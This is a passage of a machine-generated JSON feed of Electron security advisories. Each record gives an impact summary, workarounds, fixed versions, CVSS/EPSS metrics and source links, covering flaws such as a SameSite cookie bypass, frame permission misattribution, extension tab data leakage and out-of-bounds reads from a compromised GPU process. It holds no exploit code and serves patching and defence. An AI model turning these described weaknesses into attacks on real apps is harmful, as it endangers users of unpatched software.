page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113791&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113791, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113796","cveId":"CVE-2026-113796","aliases":["GHSA-2p8c-gr87-2676"],"kind":"vulnerability","title":"Electron: SameSite cookie restrictions are not applied to windows opened from links","summary":"Pages opened into a new window from a link were loaded as if the app itself had navigated there rather than the page that contained the link, so the request was treated as same-site: `SameSite=Strict` cookies were sent and `Sec-Fetch-Site` did not identify the initiating page. Content shown in the app could use this to make a credentialed top-level request to another site that relies on SameSite cookies as a CSRF defence.\n\nApps are only affected if they load untrusted content and allow it to open new windows. Apps that deny new windows from untrusted content with `setWindowOpenHandler` are not affected.","detail":"### Impact\n\nPages opened into a new window from a link were loaded as if the app itself had navigated there rather than the page that contained the link, so the request was treated as same-site: `SameSite=Strict` cookies were sent and `Sec-Fetch-Site` did not identify the initiating page. Content shown in the app could use this to make a credentialed top-level request to another site that relies on SameSite cookies as a CSRF defence.\n\nApps are only affected if they load untrusted content and allow it to open new windows. Apps that deny new windows from untrusted content with `setWindowOpenHandler` are not affected.\n\n### Workarounds\n\nReturn `{ action: 'deny' }` from `setWindowOpenHandler` for windows opened by untrusted content.\n\n### Fixed Versions\n\n* `45.0.0-alpha.6`\n* `44.3.0`\n* `43.7.0`\n* `42.11.3`\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: >= 45.0.0-alpha.1, < 45.0.0-alpha.6\nelectron: >= 44.0.0-alpha.1, < 44.3.0\nelectron: >= 43.0.0-alpha.1, < 43.7.0\nelectron: < 42.11.3","action":"GitHub lists first patched versions: electron: 45.0.0-alpha.6; electron: 44.3.0; electron: 43.7.0; electron: 42.11.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:47:54.000Z","updatedAt":"2026-10-22T16:47:55.000Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-2p8c-gr87-2676","asOf":"2026-10-22T16:47:55.000Z"},"epss":{"probability":0.00219,"percentile":0.12233,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113796&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2p8c-gr87-2676","url":"https://github.com/advisories/GHSA-2p8c-gr87-2676","type":"primary","publishedAt":"2026-10-22T16:47:54.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-2p8c-gr87-2676, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113796&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113796, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113798","cveId":"CVE-2026-113798","aliases":["GHSA-x562-297c-g43g"],"kind":"vulnerability","title":"Electron: Pointer lock permission requests can be attributed to the wrong frame","summary":"Apps are only affected if they embed untrusted content in iframes and decide `pointerLock` requests by origin in `setPermissionRequestHandler`. Apps that do not embed untrusted content, or that deny `pointerLock` for it, are not affected.","detail":"### Impact\nFor `pointerLock` permission requests made from some cross-origin iframes, `session.setPermissionRequestHandler()` was given the top-level frame's `requestingUrl` and `isMainFrame` instead of the requesting frame's. Apps that grant pointer lock based on the requesting origin could grant it to embedded content under the top-level page's identity.\n\nApps are only affected if they embed untrusted content in iframes and decide `pointerLock` requests by origin in `setPermissionRequestHandler`. Apps that do not embed untrusted content, or that deny `pointerLock` for it, are not affected.\n\n### Workarounds\nDeny the `pointerLock` permission for web contents that embed untrusted frames.\n\n### Fixed Versions\n* `45.0.0-alpha.13`\n* `44.5.0`\n* `43.7.6`\n* `42.11.9`\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: >= 45.0.0-alpha.1, < 45.0.0-alpha.13\nelectron: >= 44.0.0-alpha.1, < 44.5.0\nelectron: >= 43.0.0-alpha.1, < 43.7.6\nelectron: < 42.11.9","action":"GitHub lists first patched versions: electron: 45.0.0-alpha.13; electron: 44.5.0; electron: 43.7.6; electron: 42.11.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:47:15.000Z","updatedAt":"2026-10-22T16:47:18.000Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-x562-297c-g43g","asOf":"2026-10-22T16:47:18.000Z"},"epss":{"probability":0.00244,"percentile":0.15403,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-x562-297c-g43g","url":"https://github.com/advisories/GHSA-x562-297c-g43g","type":"primary","publishedAt":"2026-10-22T16:47:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-x562-297c-g43g, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113797","cveId":"CVE-2026-113797","aliases":["GHSA-98mx-cjp9-gchm"],"kind":"vulnerability","title":"Electron: Extension tabs.query returns tab URLs and titles without the tabs permission","summary":"Apps are only affected if they load extensions (`session.extensions.loadExtension`) that they do not fully trust. Apps that load no extensions, or only trusted ones, are not affected.","detail":"### Impact\n`chrome.tabs.query()` returned each tab's `url` and `title` to extensions that held neither the `tabs` permission nor matching host permissions, so any loaded extension could read the URL and title of every webContents in its session.\n\nApps are only affected if they load extensions (`session.extensions.loadExtension`) that they do not fully trust. Apps that load no extensions, or only trusted ones, are not affected.\n\n### Workarounds\nDo not load untrusted or unvalidated extensions. In general you should only load trusted extensions.\n\n### Fixed Versions\n* `45.0.0-alpha.4`\n* `44.1.1`\n* `43.5.1`\n* `42.11.1`\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: >= 45.0.0-alpha.1, < 45.0.0-alpha.4\nelectron: >= 44.0.0-alpha.1, < 44.1.1\nelectron: >= 43.0.0-alpha.1, < 43.5.1\nelectron: < 42.11.1","action":"GitHub lists first patched versions: electron: 45.0.0-alpha.4; electron: 44.1.1; electron: 43.5.1; electron: 42.11.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:46:33.000Z","updatedAt":"2026-10-22T16:46:35.000Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-98mx-cjp9-gchm","asOf":"2026-10-22T16:46:35.000Z"},"epss":{"probability":0.00586,"percentile":0.47702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113797&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-98mx-cjp9-gchm","url":"https://github.com/advisories/GHSA-98mx-cjp9-gchm","type":"primary","publishedAt":"2026-10-22T16:46:33.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-98mx-cjp9-gchm, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113797&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113797, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114122","cveId":"CVE-2026-114122","aliases":["GHSA-3qxv-5xgr-q7w9"],"kind":"vulnerability","title":"Electron: Frame subscription trusts GPU-supplied frame geometry","summary":"Apps are only affected if they use `webContents.beginFrameSubscription` and an attacker has separately gained code execution in the GPU process. Apps that do not subscribe to captured frames are not affected.","detail":"### Impact\nFrame data received from the GPU process for `webContents.beginFrameSubscription` was not fully validated by the main process. A compromised GPU process could cause the main process to read out-of-bounds memory while producing the captured frame images, disclosing memory or crashing the app.\n\nApps are only affected if they use `webContents.beginFrameSubscription` and an attacker has separately gained code execution in the GPU process. Apps that do not subscribe to captured frames are not affected.\n\n### Workarounds\nThere are no app side workarounds, you must update to a patched version of Electron.\n\n### Fixed Versions\n* `45.0.0-alpha.9`\n* `44.4.3`\n* `43.7.3`\n* `42.11.6`\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: < 42.11.6\nelectron: >= 43.0.0-alpha.1, < 43.7.3\nelectron: >= 44.0.0-alpha.1, < 44.4.3\nelectron: >= 45.0.0-alpha.1, < 45.0.0-alpha.9","action":"GitHub lists first patched versions: electron: 42.11.6; electron: 43.7.3; electron: 44.4.3; electron: 45.0.0-alpha.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:46:06.000Z","updatedAt":"2026-10-22T16:46:07.000Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.9,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-3qxv-5xgr-q7w9","asOf":"2026-10-22T16:46:07.000Z"},"epss":{"probability":0.00186,"percentile":0.08138,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114122&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-3qxv-5xgr-q7w9","url":"https://github.com/advisories/GHSA-3qxv-5xgr-q7w9","type":"primary","publishedAt":"2026-10-22T16:46:06.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-3qxv-5xgr-q7w9, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114122&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114122, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114124","cveId":"CVE-2026-114124","aliases":["GHSA-h3v5-h239-pg29"],"kind":"vulnerability","title":"Electron: Off-screen rendering on macOS trusts GPU-supplied frame geometry","summary":"Apps are only affected if they use offscreen rendering (`webPreferences.offscreen`) on macOS and an attacker has separately gained code execution in the GPU process. Apps that do not use offscreen rendering are not affected.","detail":"### Impact\nIn offscreen rendering mode on macOS, frame data received from the GPU process was not fully validated by the main process. A compromised GPU process could cause the main process to read out-of-bounds memory while producing `paint` event images, disclosing memory or crashing the app. GHSA-pfmc-3mgc-p6fp covers the same issue on the other capture paths.\n\nApps are only affected if they use offscreen rendering (`webPreferences.offscreen`) on macOS and an attacker has separately gained code execution in the GPU process. Apps that do not use offscreen rendering are not affected.\n\n### Workarounds\nThere are no app side workarounds, you must update to a patched version of Electron.\n\n### Fixed Versions\n* `45.0.0-alpha.9`\n* `44.4.3`\n* `43.7.3`\n* `42.11.6`\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: < 42.11.6\nelectron: >= 43.0.0-alpha.1, < 